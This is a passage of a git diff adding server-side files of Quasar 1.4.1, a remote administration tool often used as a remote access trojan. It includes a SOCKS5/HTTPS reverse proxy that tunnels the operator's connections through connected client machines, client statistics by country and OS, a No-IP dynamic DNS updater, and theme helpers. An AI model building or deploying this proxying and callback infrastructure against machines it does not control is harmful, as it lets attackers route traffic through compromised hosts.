received); + } + catch + { + Disconnect(); + return; + } + + byte[] payload = _handshakeStream.ToArray(); + + switch (PacketsReceived) + { + case 0: + { + //initial Socks packet + if (payload.Length >= 3) + { + string headerStr = Encoding.ASCII.GetString(payload); + + //check the proxy client + if (payload[0] == SOCKS5_VERSION_NUMBER) + { + Type = ProxyType.SOCKS5; + } + else if (headerStr.StartsWith("CONNECT") && headerStr.Contains(":")) + { + Type = ProxyType.HTTPS; + + //Grab here the IP / PORT + using (StreamReader sr = new StreamReader(new MemoryStream(payload))) + { + string line = sr.ReadLine(); + if (line == null) + break; + + //could have done it better with RegEx... oh well + string[] split = line.Split(new string[] {" "}, StringSplitOptions.RemoveEmptyEntries); + if (split.Length > 0) + { + try + { + string ipPort = split[1]; + this.TargetServer = ipPort.Split(':')[0]; + this.TargetPort = ushort.Parse(ipPort.Split(':')[1]); + + this._isConnectCommand = true; + this._isDomainNameType = true; + + //Send Command to client and wait for response from CommandHandler + Client.Send(new ReverseProxyConnect + { + ConnectionId = ConnectionId, + Target = TargetServer, + Port = TargetPort + }); + Server.CallonConnectionEstablished(this); + + return; //Quit receiving and wait for client's response + } + catch + { + Disconnect(); + } + } + } + } + else + { + break; + } + + if (CheckProxyVersion(payload)) + { + SendSuccessToClient(); + PacketsReceived++; + _handshakeStream.SetLength(0); + Server.CallonConnectionEstablished(this); + } + } + break; + } + case 1: + { + //Socks command + int MinPacketLen = 6; + if (payload.Length >= MinPacketLen) + { + if (!CheckProxyVersion(payload)) + return; + + this._isConnectCommand = payload[1] == 1; + this._isBindCommand = payload[1] == 2; + this._isUdpCommand = payload[1] == 3; + + this._isIpType = payload[3] == 1; + this._isDomainNameType = payload[3] == 3; + this._isIPv6NameType = payload[3] == 4; + + Array.Reverse(payload, payload.Length - 2, 2); + this.TargetPort = BitConverter.ToUInt16(payload, payload.Length - 2); + + if (_isConnectCommand) + { + if (_isIpType) + { + this.TargetServer = payload[4] + "." + payload[5] + "." + payload[6] + "." + payload[7]; + } + else if (_isDomainNameType) + { + int domainLen = payload[4]; + if (MinPacketLen + domainLen < payload.Length) + { + this.TargetServer = Encoding.ASCII.GetString(payload, 5, domainLen); + } + } + + if (this.TargetServer.Length > 0) + { + //Send Command to client and wait for response from CommandHandler + Client.Send(new ReverseProxyConnect + { + ConnectionId = ConnectionId, + Target = TargetServer, + Port = TargetPort + }); + } + } + else + { + SendFailToClient(); + return; + } + + Server.CallonUpdateConnection(this); + + //Quit receiving data and wait for Client's response + return; + } + break; + } + } + + try + { + Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null); + } + catch + { + Disconnect(); + } + } + + public void Disconnect() + { + if (!_disconnectIsSend) + { + _disconnectIsSend = true; + //send to the Server we've been disconnected + Client.Send(new ReverseProxyDisconnect {ConnectionId = ConnectionId}); + } + + try + { + Handle.Close(); + } + catch + { + } + + IsConnected = false; + Server.CallonUpdateConnection(this); + } + + ///

    + /// Server -> ProxyClient + /// + /// + public void SendToClient(byte[] payload) + { + lock (Handle) + { + try + { + LengthSent += payload.Length; + Handle.Send(payload); + } + catch + { + Disconnect(); + } + } + Server.CallonUpdateConnection(this); + } + + private void SendFailToClient() + { + if (Type == ProxyType.HTTPS) + Disconnect(); + + if (Type == ProxyType.SOCKS5) + { + SendToClient(new byte[] {SOCKS5_VERSION_NUMBER, SOCKS5_AUTH_METHOD_REPLY_NO_ACCEPTABLE_METHODS}); + Disconnect(); + } + } + + private void SendSuccessToClient() + { + if (Type == ProxyType.SOCKS5) + SendToClient(new byte[] {SOCKS5_VERSION_NUMBER, SOCKS5_CMD_REPLY_SUCCEEDED}); + } + + private bool CheckProxyVersion(byte[] payload) + { + if (Type == ProxyType.HTTPS) + return true; //unable to check header... there is no header + + if (payload.Length > 0 && payload[0] != SOCKS5_VERSION_NUMBER) + { + SendFailToClient(); + Disconnect(); + return false; + } + return true; + } + + public void HandleCommandResponse(ReverseProxyConnectResponse response) + { + //a small prevention for calling this method twice, not required... just incase + if (!_receivedConnResponse) + { + _receivedConnResponse = true; + + if (response.IsConnected) + { + this.HostName = response.HostName; + + //tell the Proxy Client that we've established a connection + if (Type == ProxyType.HTTPS) + { + SendToClient(Encoding.ASCII.GetBytes("HTTP/1.0 200 Connection established\r\n\r\n")); + } + else if (Type == ProxyType.SOCKS5) + { + //Thanks to http://www.mentalis.org/soft/projects/proxy/ for the Maths + try + { + List responsePacket = new List(); + responsePacket.Add(SOCKS5_VERSION_NUMBER); + responsePacket.Add(SOCKS5_CMD_REPLY_SUCCEEDED); + responsePacket.Add(SOCKS5_RESERVED); + responsePacket.Add(1); + responsePacket.AddRange(response.LocalAddress); + responsePacket.Add((byte)(Math.Floor((decimal)response.LocalPort / 256))); + responsePacket.Add((byte)(response.LocalPort % 256)); + + SendToClient(responsePacket.ToArray()); + } + catch + { + //just incase the math failed + //it will still show it's succesful + SendToClient(new byte[] + { + SOCKS5_VERSION_NUMBER, + SOCKS5_CMD_REPLY_SUCCEEDED, + SOCKS5_RESERVED, + 1, //static: it's always 1 + 0, 0, 0, 0, //bind ip + 0, 0 //bind port + }); + } + } + + _handshakeStream.Close(); + + ProxySuccessful = true; + + try + { + //start receiving data from the proxy + Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceiveProxy, null); + } + catch + { + Disconnect(); + } + } + else + { + if (Type == ProxyType.HTTPS) + { + Disconnect(); + } + else if (Type == ProxyType.SOCKS5) + { + //send a connection fail packet + SendToClient(new byte[] + { + SOCKS5_VERSION_NUMBER, + SOCKS5_CMD_REPLY_CONNECTION_REFUSED, + SOCKS5_RESERVED, + 1, //static: it's always 1 + 0, 0, 0, 0, //Bind Address + 0, 0 //Bind Port + }); + } + } + + Server.CallonUpdateConnection(this); + } + } + + private void AsyncReceiveProxy(IAsyncResult ar) + { + try + { + int received = Handle.EndReceive(ar); + + if (received <= 0) + { + Disconnect(); + return; + } + + LengthReceived += received; + + byte[] payload = new byte[received]; + Array.Copy(_buffer, payload, received); + Client.Send(new ReverseProxyData {ConnectionId = ConnectionId, Data = payload}); + + LengthSent += payload.Length; + PacketsSended++; + } + catch + { + Disconnect(); + return; + } + + PacketsReceived++; + + Server.CallonUpdateConnection(this); + + try + { + Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceiveProxy, null); + } + catch + { + } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/ReverseProxy/ReverseProxyServer.cs b/Quasar-1.4.1/Quasar.Server/ReverseProxy/ReverseProxyServer.cs new file mode 100755 index 0000000..b784e75 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/ReverseProxy/ReverseProxyServer.cs @@ -0,0 +1,170 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Net.Sockets; +using Quasar.Server.Networking; + +namespace Quasar.Server.ReverseProxy +{ + public class ReverseProxyServer + { + public delegate void ConnectionEstablishedCallback(ReverseProxyClient proxyClient); + + public delegate void UpdateConnectionCallback(ReverseProxyClient proxyClient); + + public event ConnectionEstablishedCallback OnConnectionEstablished; + public event UpdateConnectionCallback OnUpdateConnection; + + private Socket _socket; + private readonly List _clients; + + public ReverseProxyClient[] ProxyClients + { + get + { + lock (_clients) + { + return _clients.ToArray(); + } + } + } + + public ReverseProxyClient[] OpenConnections + { + get + { + lock (_clients) + { + List temp = new List(); + + for (int i = 0; i < _clients.Count; i++) + { + if (_clients[i].ProxySuccessful) + { + temp.Add(_clients[i]); + } + } + return temp.ToArray(); + } + } + } + + + public Client[] Clients { get; private set; } + + //We can also use the Random class but not sure if that will evenly spread the connections + //The Random class might even fail to make use of all the clients + private uint _clientIndex; + + public ReverseProxyServer() + { + _clients = new List(); + } + + public void StartServer(Client[] clients, string ipAddress, ushort port) + { + Stop(); + + this.Clients = clients; + this._socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + this._socket.Bind(new IPEndPoint(IPAddress.Parse(ipAddress), port)); + this._socket.Listen(100); + this._socket.BeginAccept(AsyncAccept, null); + } + + private void AsyncAccept(IAsyncResult ar) + { + try + { + lock (_clients) + { + _clients.Add(new ReverseProxyClient(Clients[_clientIndex % Clients.Length], this._socket.EndAccept(ar), this)); + _clientIndex++; + } + } + catch + { + } + + try + { + this._socket.BeginAccept(AsyncAccept, null); + } + catch + { + /* Server stopped listening */ + } + } + + public void Stop() + { + if (_socket != null) + { + _socket.Close(); + _socket = null; + } + + lock (_clients) + { + foreach (ReverseProxyClient client in new List(_clients)) + client.Disconnect(); + _clients.Clear(); + } + } + + public ReverseProxyClient GetClientByConnectionId(int connectionId) + { + lock (_clients) + { + return _clients.FirstOrDefault(t => t.ConnectionId == connectionId); + } + } + + internal void CallonConnectionEstablished(ReverseProxyClient proxyClient) + { + try + { + if (OnConnectionEstablished != null) + OnConnectionEstablished(proxyClient); + } + catch + { + } + } + + internal void CallonUpdateConnection(ReverseProxyClient proxyClient) + { + //remove a client that has been disconnected + try + { + if (!proxyClient.IsConnected) + { + lock (_clients) + { + for (int i = 0; i < _clients.Count; i++) + { + if (_clients[i].ConnectionId == proxyClient.ConnectionId) + { + _clients.RemoveAt(i); + break; + } + } + } + } + } + catch + { + } + + try + { + if (OnUpdateConnection != null) + OnUpdateConnection(proxyClient); + } + catch + { + } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Statistics/ClientStatisticsService.cs b/Quasar-1.4.1/Quasar.Server/Statistics/ClientStatisticsService.cs new file mode 100755 index 0000000..920b5a8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Statistics/ClientStatisticsService.cs @@ -0,0 +1,154 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using Quasar.Server.Models; +using Quasar.Server.Networking; + +namespace Quasar.Server.Statistics +{ + public static class ClientStatisticsService + { + private const int DefaultHistoryDays = 14; + private const int MaxPieSegments = 7; + private const int MaxTagRows = 10; + + public static ClientStatisticsSnapshot CreateSnapshot(IEnumerable clients, IEnumerable mockClients = null) + { + try + { + var list = clients?.ToList() ?? new List(); + var mockList = mockClients?.ToList() ?? new List(); + + var nowUtc = DateTime.UtcNow; + var total = list.Count + mockList.Count; + var online = total; // All clients in the list are online + + var countryStats = BuildCategoryListWithMocks(list, mockList, + c => Normalize(c.Value?.Country), + m => Normalize(m.Value?.Country), + total, MaxPieSegments); + + var osStats = BuildCategoryListWithMocks(list, mockList, + c => Normalize(c.Value?.OperatingSystem), + m => Normalize(m.Value?.OperatingSystem), + total, MaxPieSegments); + + var tagStats = BuildCategoryListWithMocks(list, mockList, + c => string.IsNullOrWhiteSpace(c.Value?.Tag) ? "(none)" : c.Value.Tag, + m => string.IsNullOrWhiteSpace(m.Value?.Tag) ? "(none)" : m.Value.Tag, + total, MaxTagRows); + + return new ClientStatisticsSnapshot( + total, + online, + 0, + countryStats, + osStats, + tagStats, + nowUtc); + } + catch (Exception ex) + { + return ClientStatisticsSnapshot.CreateError(ex.Message); + } + } + + private static IReadOnlyList BuildCategoryListWithMocks( + IEnumerable clients, + IEnumerable mockClients, + Func clientSelector, + Func mockSelector, + int total, + int maxItems) + { + // Combine both real and mock clients into a single grouped list + var clientGroups = clients + .GroupBy(clientSelector) + .Select(g => new { Label = string.IsNullOrWhiteSpace(g.Key) ? "Unknown" : g.Key.Trim(), Count = g.Count() }); + + var mockGroups = mockClients + .GroupBy(mockSelector) + .Select(g => new { Label = string.IsNullOrWhiteSpace(g.Key) ? "Unknown" : g.Key.Trim(), Count = g.Count() }); + + var grouped = clientGroups + .Concat(mockGroups) + .GroupBy(g => g.Label) + .Select(g => new { Label = g.Key, Count = g.Sum(x => x.Count) }) + .OrderByDescending(g => g.Count) + .ThenBy(g => g.Label) + .ToList(); + + if (grouped.Count == 0) + { + return new CategoryCount[0]; + } + + if (maxItems <= 0 || grouped.Count <= maxItems) + { + return grouped + .Select(g => new CategoryCount(g.Label, g.Count, total > 0 ? (double)g.Count / total : 0)) + .ToList(); + } + + var top = grouped.Take(maxItems - 1).ToList(); + var otherCount = grouped.Skip(maxItems - 1).Sum(g => g.Count); + + var result = top + .Select(g => new CategoryCount(g.Label, g.Count, total > 0 ? (double)g.Count / total : 0)) + .ToList(); + + if (otherCount > 0) + { + result.Add(new CategoryCount("Other", otherCount, total > 0 ? (double)otherCount / total : 0)); + } + + return result; + } + + private static IReadOnlyList BuildCategoryList(IEnumerable source, Func selector, int total, int maxItems) + { + var grouped = source + .GroupBy(selector) + .Select(g => new { Label = string.IsNullOrWhiteSpace(g.Key) ? "Unknown" : g.Key.Trim(), Count = g.Count() }) + .OrderByDescending(g => g.Count) + .ThenBy(g => g.Label) + .ToList(); + + if (grouped.Count == 0) + { + return new CategoryCount[0]; + } + + if (maxItems <= 0 || grouped.Count <= maxItems) + { + return grouped + .Select(g => new CategoryCount(g.Label, g.Count, total > 0 ? (double)g.Count / total : 0)) + .ToList(); + } + + var top = grouped.Take(maxItems - 1).ToList(); + var otherCount = grouped.Skip(maxItems - 1).Sum(g => g.Count); + + var result = top + .Select(g => new CategoryCount(g.Label, g.Count, total > 0 ? (double)g.Count / total : 0)) + .ToList(); + + if (otherCount > 0) + { + result.Add(new CategoryCount("Other", otherCount, total > 0 ? (double)otherCount / total : 0)); + } + + return result; + } + + private static string Normalize(string value) + { + if (string.IsNullOrWhiteSpace(value)) + { + return "Unknown"; + } + + return value.Trim(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Statistics/ClientStatisticsSnapshot.cs b/Quasar-1.4.1/Quasar.Server/Statistics/ClientStatisticsSnapshot.cs new file mode 100755 index 0000000..51d15cc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Statistics/ClientStatisticsSnapshot.cs @@ -0,0 +1,80 @@ +using System; +using System.Collections.Generic; + +namespace Quasar.Server.Statistics +{ + public sealed class ClientStatisticsSnapshot + { + public ClientStatisticsSnapshot( + int totalClients, + int onlineClients, + int offlineClients, + IReadOnlyList clientsByCountry, + IReadOnlyList clientsByOperatingSystem, + IReadOnlyList topTags, + DateTime generatedAtUtc, + string errorMessage = null) + { + TotalClients = totalClients; + OnlineClients = onlineClients; + OfflineClients = offlineClients; + ClientsByCountry = clientsByCountry ?? new CategoryCount[0]; + ClientsByOperatingSystem = clientsByOperatingSystem ?? new CategoryCount[0]; + TopTags = topTags ?? new CategoryCount[0]; + GeneratedAtUtc = generatedAtUtc; + ErrorMessage = string.IsNullOrWhiteSpace(errorMessage) ? null : errorMessage; + } + + public int TotalClients { get; } + + public int OnlineClients { get; } + + public int OfflineClients { get; } + + public IReadOnlyList ClientsByCountry { get; } + + public IReadOnlyList ClientsByOperatingSystem { get; } + + public IReadOnlyList TopTags { get; } + + public DateTime GeneratedAtUtc { get; } + + public string ErrorMessage { get; } + + public bool HasError => !string.IsNullOrWhiteSpace(ErrorMessage); + + public static ClientStatisticsSnapshot CreateError(string message) + { + return new ClientStatisticsSnapshot( + 0, + 0, + 0, + new CategoryCount[0], + new CategoryCount[0], + new CategoryCount[0], + DateTime.UtcNow, + message); + } + } + + public sealed class CategoryCount + { + public CategoryCount(string label, int count, double share) + { + Label = string.IsNullOrWhiteSpace(label) ? "Unknown" : label; + Count = count; + Share = share; + } + + public string Label { get; } + + public int Count { get; } + + public double Share { get; } + + public override string ToString() + { + return $"{Label} ({Count})"; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Utilities/DarkModeHelper.cs b/Quasar-1.4.1/Quasar.Server/Utilities/DarkModeHelper.cs new file mode 100755 index 0000000..6d36d21 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Utilities/DarkModeHelper.cs @@ -0,0 +1,235 @@ +using Quasar.Server.Models; +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Utilities +{ + public static class DarkModeHelper + { + private static readonly Color DarkBg = Color.FromArgb(45, 45, 48); + private static readonly Color DarkControlBg = Color.FromArgb(37, 37, 38); + private static readonly Color DarkFg = Color.White; + private static readonly Color DarkBorder = Color.FromArgb(63, 63, 70); + + public static void Initialize() + { + // Set ThemeManager's dark mode flag + ThemeManager.DarkModeEnabled = Settings.DarkMode; + } + + public static void ApplyToForm(Form form) + { + if (!Settings.DarkMode) return; + + // Apply immediately + ApplyToControl(form); + + // Reapply after form is shown to override any designer settings + EventHandler shownHandler = null; + shownHandler = (s, e) => + { + ApplyToControl(form); + form.Invalidate(true); + form.Shown -= shownHandler; + }; + form.Shown += shownHandler; + + // Also hook into Load event + EventHandler loadHandler = null; + loadHandler = (s, e) => + { + ApplyToControl(form); + form.Load -= loadHandler; + }; + form.Load += loadHandler; + } + + private static void ApplyToControl(Control control) + { + try + { + if (control is Form) + { + control.BackColor = DarkBg; + control.ForeColor = DarkFg; + } + else if (control is TabPage) + { + control.BackColor = DarkBg; + control.ForeColor = DarkFg; + } + else if (control is TabControl) + { + control.BackColor = DarkBg; + control.ForeColor = DarkFg; + } + else if (control is Panel) + { + control.BackColor = DarkBg; + control.ForeColor = DarkFg; + } + else if (control is GroupBox) + { + control.BackColor = DarkBg; + control.ForeColor = DarkFg; + } + else if (control is Label) + { + control.ForeColor = DarkFg; + control.BackColor = Color.Transparent; + } + else if (control is Button btn) + { + btn.BackColor = DarkControlBg; + btn.ForeColor = DarkFg; + btn.FlatStyle = FlatStyle.Flat; + btn.FlatAppearance.BorderColor = DarkBorder; + } + else if (control is TextBox txt) + { + txt.BackColor = DarkControlBg; + txt.ForeColor = DarkFg; + txt.BorderStyle = BorderStyle.FixedSingle; + } + else if (control is RichTextBox rtxt) + { + rtxt.BackColor = DarkControlBg; + rtxt.ForeColor = DarkFg; + rtxt.BorderStyle = BorderStyle.FixedSingle; + } + else if (control is ListBox lst) + { + lst.BackColor = DarkControlBg; + lst.ForeColor = DarkFg; + } + else if (control is ListView lv) + { + lv.BackColor = DarkControlBg; + lv.ForeColor = DarkFg; + lv.BorderStyle = BorderStyle.FixedSingle; + } + else if (control is TreeView tv) + { + tv.BackColor = DarkControlBg; + tv.ForeColor = DarkFg; + } + else if (control is CheckBox) + { + control.ForeColor = DarkFg; + } + else if (control is RadioButton) + { + control.ForeColor = DarkFg; + } + else if (control is NumericUpDown num) + { + num.BackColor = DarkControlBg; + num.ForeColor = DarkFg; + } + else if (control is ComboBox cmb) + { + cmb.BackColor = DarkControlBg; + cmb.ForeColor = DarkFg; + } + else if (control is DataGridView dgv) + { + dgv.BackgroundColor = DarkControlBg; + dgv.ForeColor = DarkFg; + dgv.GridColor = DarkBorder; + dgv.DefaultCellStyle.BackColor = DarkControlBg; + dgv.DefaultCellStyle.ForeColor = DarkFg; + dgv.DefaultCellStyle.SelectionBackColor = Color.FromArgb(62, 62, 64); + dgv.DefaultCellStyle.SelectionForeColor = DarkFg; + dgv.ColumnHeadersDefaultCellStyle.BackColor = DarkBg; + dgv.ColumnHeadersDefaultCellStyle.ForeColor = DarkFg; + dgv.RowHeadersDefaultCellStyle.BackColor = DarkBg; + dgv.RowHeadersDefaultCellStyle.ForeColor = DarkFg; + dgv.EnableHeadersVisualStyles = false; + dgv.BorderStyle = BorderStyle.FixedSingle; + } + else if (control is PictureBox) + { + control.BackColor = Color.Transparent; + } + else if (control.GetType().Name == "Line") + { + control.BackColor = DarkBorder; + } + else if (control.GetType().Name == "DotNetBarTabControl") + { + control.BackColor = DarkBg; + control.ForeColor = DarkFg; + } + + // Apply to MenuStrip and ContextMenuStrip + if (control is MenuStrip ms) + { + ms.BackColor = DarkControlBg; + ms.ForeColor = DarkFg; + ms.Renderer = new DarkMenuRenderer(); + } + else if (control is ContextMenuStrip cms) + { + cms.BackColor = DarkControlBg; + cms.ForeColor = DarkFg; + cms.Renderer = new DarkMenuRenderer(); + } + else if (control is StatusStrip ss) + { + ss.BackColor = DarkControlBg; + ss.ForeColor = DarkFg; + ss.Renderer = new DarkMenuRenderer(); + } + + // Recursively apply to child controls + foreach (Control child in control.Controls) + { + ApplyToControl(child); + } + } + catch + { + // Ignore errors + } + } + + private class DarkMenuRenderer : ToolStripProfessionalRenderer + { + public DarkMenuRenderer() : base(new DarkColorTable()) { } + + protected override void OnRenderMenuItemBackground(ToolStripItemRenderEventArgs e) + { + if (e.Item.Selected) + { + e.Graphics.FillRectangle(new SolidBrush(Color.FromArgb(62, 62, 64)), e.Item.ContentRectangle); + } + else + { + e.Graphics.FillRectangle(new SolidBrush(DarkControlBg), e.Item.ContentRectangle); + } + } + + protected override void OnRenderItemText(ToolStripItemTextRenderEventArgs e) + { + e.TextColor = DarkFg; + base.OnRenderItemText(e); + } + } + + private class DarkColorTable : ProfessionalColorTable + { + public override Color MenuItemSelected => Color.FromArgb(62, 62, 64); + public override Color MenuItemSelectedGradientBegin => Color.FromArgb(62, 62, 64); + public override Color MenuItemSelectedGradientEnd => Color.FromArgb(62, 62, 64); + public override Color MenuItemBorder => DarkBorder; + public override Color MenuBorder => DarkBorder; + public override Color MenuItemPressedGradientBegin => DarkControlBg; + public override Color MenuItemPressedGradientEnd => DarkControlBg; + public override Color ToolStripDropDownBackground => DarkControlBg; + public override Color ImageMarginGradientBegin => DarkControlBg; + public override Color ImageMarginGradientMiddle => DarkControlBg; + public override Color ImageMarginGradientEnd => DarkControlBg; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Utilities/FrameCounter.cs b/Quasar-1.4.1/Quasar.Server/Utilities/FrameCounter.cs new file mode 100755 index 0000000..895d338 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Utilities/FrameCounter.cs @@ -0,0 +1,60 @@ +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Server.Utilities +{ + public class FrameUpdatedEventArgs : EventArgs + { + public float CurrentFramesPerSecond { get; private set; } + + public FrameUpdatedEventArgs(float _CurrentFramesPerSecond) + { + CurrentFramesPerSecond = _CurrentFramesPerSecond; + } + } + + public delegate void FrameUpdatedEventHandler(FrameUpdatedEventArgs e); + + public class FrameCounter + { + public long TotalFrames { get; private set; } + public float TotalSeconds { get; private set; } + public float AverageFramesPerSecond { get; private set; } + + public const int MAXIMUM_SAMPLES = 100; + + private Queue _sampleBuffer = new Queue(); + + public event FrameUpdatedEventHandler FrameUpdated; + + public void Update(float deltaTime) + { + float currentFramesPerSecond = 1.0f / deltaTime; + + _sampleBuffer.Enqueue(currentFramesPerSecond); + + if (_sampleBuffer.Count > MAXIMUM_SAMPLES) + { + _sampleBuffer.Dequeue(); + AverageFramesPerSecond = _sampleBuffer.Average(i => i); + } + else + { + AverageFramesPerSecond = currentFramesPerSecond; + } + + OnFrameUpdated(new FrameUpdatedEventArgs(AverageFramesPerSecond)); + + TotalFrames++; + TotalSeconds += deltaTime; + } + + protected virtual void OnFrameUpdated(FrameUpdatedEventArgs e) + { + FrameUpdatedEventHandler handler = FrameUpdated; + if (handler != null) + handler(e); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Utilities/ListViewColumnSorter.cs b/Quasar-1.4.1/Quasar.Server/Utilities/ListViewColumnSorter.cs new file mode 100755 index 0000000..908ebe2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Utilities/ListViewColumnSorter.cs @@ -0,0 +1,141 @@ +using Quasar.Server.Models; +using System.Collections; +using System.Windows.Forms; + +namespace Quasar.Server.Utilities +{ + public class ListViewColumnSorter : IComparer + { + /// + /// Specifies the column to be sorted + /// + private int _columnToSort; + + /// + /// Specifies the order in which to sort (i.e. 'Ascending'). + /// + private SortOrder _orderOfSort; + + /// + /// Case insensitive comparer object + /// + private readonly CaseInsensitiveComparer _objectCompare; + + /// + /// Specifies if number or text comparision is needed + /// + private bool _needNumberCompare; + + /// + /// Class constructor. Initializes various elements + /// + public ListViewColumnSorter() + { + // Initialize the column to '0' + _columnToSort = 0; + + // Initialize the sort order to 'none' + _orderOfSort = SortOrder.None; + + // Initialize the CaseInsensitiveComparer object + _objectCompare = new CaseInsensitiveComparer(); + + _needNumberCompare = false; + } + + /// + /// This method is inherited from the IComparer interface. It compares the two objects passed using a case insensitive comparison. + /// + /// First object to be compared + /// Second object to be compared + /// The result of the comparison. "0" if equal, negative if 'x' is less than 'y' and positive if 'x' is greater than 'y' + public int Compare(object x, object y) + { + // Cast the objects to be compared to ListViewItem objects + var listviewX = (ListViewItem) x; + var listviewY = (ListViewItem) y; + + if (listviewX.SubItems[0].Text == ".." || listviewY.SubItems[0].Text == "..") + return 0; + + // Compare the two items + int compareResult; + + if (_needNumberCompare) + { + long a, b; + + if (listviewX.Tag is FileManagerListTag) + { + // fileSize to be compared + a = (listviewX.Tag as FileManagerListTag).FileSize; + b = (listviewY.Tag as FileManagerListTag).FileSize; + compareResult = a >= b ? (a == b ? 0 : 1) : -1; + + } + else + { + if (long.TryParse(listviewX.SubItems[_columnToSort].Text, out a) + && long.TryParse(listviewY.SubItems[_columnToSort].Text, out b)) + { + compareResult = a >= b ? (a == b ? 0 : 1) : -1; + } + else + { + compareResult = _objectCompare.Compare(listviewX.SubItems[_columnToSort].Text, + listviewY.SubItems[_columnToSort].Text); + } + } + } + else + { + compareResult = _objectCompare.Compare(listviewX.SubItems[_columnToSort].Text, + listviewY.SubItems[_columnToSort].Text); + } + + // Calculate correct return value based on object comparison + if (_orderOfSort == SortOrder.Ascending) + { + // Ascending sort is selected, return normal result of compare operation + return compareResult; + } + else if (_orderOfSort == SortOrder.Descending) + { + // Descending sort is selected, return negative result of compare operation + return (-compareResult); + } + else + { + // Return '0' to indicate they are equal + return 0; + } + } + + /// + /// Gets or sets the number of the column to which to apply the sorting operation (Defaults to '0'). + /// + public int SortColumn + { + set { _columnToSort = value; } + get { return _columnToSort; } + } + + /// + /// Gets or sets the order of sorting to apply (for example, 'Ascending' or 'Descending'). + /// + public SortOrder Order + { + set { _orderOfSort = value; } + get { return _orderOfSort; } + } + + /// + /// Specifies if number or text comparision is needed. + /// + public bool NeedNumberCompare + { + set { _needNumberCompare = value; } + get { return _needNumberCompare; } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Utilities/NativeMethods.cs b/Quasar-1.4.1/Quasar.Server/Utilities/NativeMethods.cs new file mode 100755 index 0000000..b0e8e7c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Utilities/NativeMethods.cs @@ -0,0 +1,47 @@ +using System; +using System.Runtime.InteropServices; + +namespace Quasar.Server.Utilities +{ + /// + /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). + /// + public static class NativeMethods + { + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + internal struct LVITEM + { + public uint mask; + public int iItem; + public int iSubItem; + public int state; + public int stateMask; + [MarshalAs(UnmanagedType.LPTStr)] + public string pszText; + public int cchTextMax; + public int iImage; + public IntPtr lParam; + public int iIndent; + public int iGroupId; + public uint cColumns; + public IntPtr puColumns; + public IntPtr piColFmt; + public int iGroup; + }; + + [DllImport("user32.dll", CharSet = CharSet.Auto)] + internal static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "SendMessage")] + internal static extern IntPtr SendMessageListViewItem(IntPtr hWnd, uint msg, IntPtr wParam, ref LVITEM lParam); + + [DllImport("user32.dll")] + internal static extern bool RegisterHotKey(IntPtr hWnd, int id, uint fsModifiers, int vk); + + [DllImport("user32.dll")] + internal static extern bool UnregisterHotKey(IntPtr hWnd, int id); + + [DllImport("uxtheme.dll", CharSet = CharSet.Unicode)] + internal static extern int SetWindowTheme(IntPtr hWnd, string pszSubAppName, string pszSubIdList); + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Utilities/NoIpUpdater.cs b/Quasar-1.4.1/Quasar.Server/Utilities/NoIpUpdater.cs new file mode 100755 index 0000000..a388eb9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Utilities/NoIpUpdater.cs @@ -0,0 +1,47 @@ +using Quasar.Server.Models; +using System; +using System.Net; +using System.Text; +using System.Threading; + +namespace Quasar.Server.Utilities +{ + public static class NoIpUpdater + { + private static bool _running; + + public static void Start() + { + if (_running) return; + Thread updateThread = new Thread(BackgroundUpdater) {IsBackground = true}; + updateThread.Start(); + } + + private static void BackgroundUpdater() + { + _running = true; + while (Settings.EnableNoIPUpdater) + { + try + { + HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(string.Format("https://dynupdate.no-ip.com/nic/update?hostname={0}", Settings.NoIPHost)); + request.Proxy = null; + request.UserAgent = string.Format("Quasar No-Ip Updater/2.0 {0}", Settings.NoIPUsername); + request.Timeout = 10000; + request.Headers.Add(HttpRequestHeader.Authorization, string.Format("Basic {0}", Convert.ToBase64String(Encoding.ASCII.GetBytes(string.Format("{0}:{1}", Settings.NoIPUsername, Settings.NoIPPassword))))); + request.Method = "GET"; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + } + } + catch + { + } + + Thread.Sleep(TimeSpan.FromMinutes(10)); + } + _running = false; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Utilities/ThemeManager.cs b/Quasar-1.4.1/Quasar.Server/Utilities/ThemeManager.cs new file mode 100755 index 0000000..68a2abc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Utilities/ThemeManager.cs @@ -0,0 +1,468 @@ +using System; +using System.Drawing; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace Quasar.Server.Utilities +{ + public static class ThemeManager + { + // Dark theme colors + private static readonly Color DarkBackground = Color.FromArgb(45, 45, 48); + private static readonly Color DarkForeground = Color.White; + private static readonly Color DarkControlBackground = Color.FromArgb(37, 37, 38); + private static readonly Color DarkBorder = Color.FromArgb(63, 63, 70); + private static readonly Color 